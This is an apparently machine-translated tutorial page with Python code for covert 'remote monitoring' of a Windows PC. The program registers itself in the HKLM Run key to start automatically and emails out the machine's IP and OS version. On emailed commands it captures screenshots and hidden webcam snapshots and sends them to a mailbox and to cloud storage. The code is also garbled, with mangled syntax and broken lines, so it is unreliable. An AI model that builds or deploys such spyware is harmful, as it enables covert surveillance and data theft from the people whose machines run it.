Example of using python to remotely monitor camera screenshots

Source: Internet
Author: User

Recently, I wrote a remote monitoring program in python. The main functions are as follows:
1. Use email to control the functions
2. You can send the screen to your mailbox
3. You can use a camera to obtain images. These images are uploaded to qiniu.
4. Auto Start

Copy codeThe Code is as follows :#
# Coding by loster
#
Import win32api
Import win32con
Import platform
Import socket
Import time
Import OS
Import smtplib
Import poplib
From VideoCapture import Device
From email. mime. multipart import MIMEMultipart
From email. mime. text import MIMEText
From email. mime. image import MIMEImage
Import poplib, email
From email. header import decode_header
From PIL import ImageGrab
Import qiniu. conf
Import qiniu. io
Import qiniu. rs
# Qiniu Application
Qiniu. conf. ACCESS_KEY = ""
Qiniu. conf. SECRET_KEY = ""

# Getting ip addresses
Def getIP ():
Ip = socket. gethostbyname (socket. gethostname ())
Return ip

# Obtain the operating system version,
Def getSystemVersion ():
Return platform. platform ()

Def send_Information (ip, system_version ):
Info = 'IP: '+ ip + ''+ 'System version:' + system_version
Print info
Smtp = smtplib. SMTP ()
Smtp. connect ('smtp .sina.com ')
Smtp. login ('sender @ sina.com ',' *** ') # change your email address and password.
Smtp. sendmail ('sender @ sina.com ', 'reveicer @ qq.com', ip + ''+ system_version) # change the email address to another one.
#. The image name is time.
Def screen_capture ():
# Obtain time
Pic_time = time. strftime ('% Y % m % d % H % M % s', time. localtime (time. time ()))
# Pic_name = 'screen _ capture '+ time. strftime (' % Y % m % d % H % M % s', time. localtime (time. time ()))
Pic_name+'screen'?pic_time='.jpg'
Pic = ImageGrab. grab ()
Pic. save ('% s' % pic_name)
Print pic_name
# Sending images
Send_Img (pic_time, pic_name)
Print pic_name
OS. remove (pic_name) # delete an image

# Send an image to your mailbox
Def send_Img (pic_time, pic_name ):
MsgRoot = MIMEMultipart ('related ')
MsgRoot ['subobject'] = pic_time

MsgText = MIMEText ('<B> capture </B> <br> ', 'html ', 'utf-8 ')
MsgRoot. attach (msgText)

# Fp = open ('f: \ 1.jpg ', 'rb ')
Fp = open (pic_name, 'rb ')
MsgImage = MIMEImage (fp. read ())
Fp. close ()

MsgImage. add_header ('content-id', '<image1> ')
MsgRoot. attach (msgImage)

Smtp = smtplib. SMTP ()
Smtp. connect ('smtp .sina.com ', '25 ')
Smtp. login ("sender@sina.com ","*****")
Smtp. sendmail ("sender@sina.com", "receiver@qq.com", msgRoot. as_string ())
Smtp. quit ()
Print 'send success'

# The camera captures a video every SLEEP_TIME.
Def camera_capture ():
# Capture frequency
SLEEP_TIME = 3
I = 0
Cam = Device (devnum = 0, showVideoWindow = 0)
While I <10:

Cam_time = time. strftime ('% Y % m % d % H % M % s', time. localtime (time. time ()))
Cam_name+'camera'?cam_time='.jpg'

Cam. saveSnapshot (cam_name, 3, 1, 'bl ')
Camera_upload (cam_name)
Print str (I) + cam_name
OS. remove (cam_name)
Time. sleep (SLEEP_TIME)
I + = 1
# Upload to qiniu
Def camera_upload (file ):
Policy = qiniu. rs. PutPolicy ('iloster') # space name, iloster is my space name
Uptoken = policy. token ()

Ret, err = qiniu. io. put_file (uptoken, None, file)
If err is not None:
Sys. stderr. write ('error: % s' % err)

# Obtain the latest email
Def accept_mail ():
Pop = poplib. POP3_SSL ('pop .qq.com ')
Pop. user ('er er @ qq.com ')
Pop. pass _('*****')
# Obtain the number of emails
(Num, totalSize) = pop. stat ()
# Obtain the latest email
(Heard, msg, octets) = pop. retr (num)
Mail = email. message_from_string ("\ n". join (msg ))
Subject = email. Header. decode_header (mail ['subobject']) [0] [0] # title
Pop. quit ()
Return subject

# Obtain the program path
Def getPath ():
Path = OS. getcwd () + '\ Remote.exe'. The latest exeprogram name is Remote.exe, or change it here.
Print path
Return path
# Add auto-start upon startup and register in the registry
Def add_start (path ):
Subkey = 'Software \ Microsoft \ Windows \ CurrentVersion \ run'
Key = win32api. RegOpenKey (win32con. HKEY_LOCAL_MACHINE, subkey, 0, win32con. KEY_ALL_ACCESS)
# Print win32api. RegQueryValueEx (key, 'python ')

Win32api. RegSetValueEx (key, 'python', 0, win32con. REG_SZ, path)
Print win32api. RegQueryValueEx (key, 'python ')
If _ name __= = '_ main __':
Add_start (getPath () # Add auto-start upon startup
Send_Information (getIP (), getSystemVersion ())
While 1: # continuous listening
If accept_mail () = 'screen': # capture screen information when the obtained Email Subject is screen.
Screen_capture ()
Elif accept_mail () = 'camera ':
Camera_capture ()

Note:
1. My sending mailbox is sina and the receiving mailbox is QQ. This is because I can bind a QQ mailbox.
2. The accept_mail () Listener's mailbox is my own receiving mailbox, which is my QQ mailbox
3. when the screen is listened to, the screen starts and is sent to the mailbox. Because the latest email is listened to, when the image is sent with the mailbox, the obtained Email Subject is not screen and should be stopped, at last, only one screenshot is taken and the listener continues. However, due to network issues, the sent emails may be delayed. Therefore, there may be a lot of captured images.
4. when I listen to camera, the camera will be used. If I change while I <10 to I = 1, it will keep the camera and invalidate other commands, So I <10, 10 commands are obtained each time.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.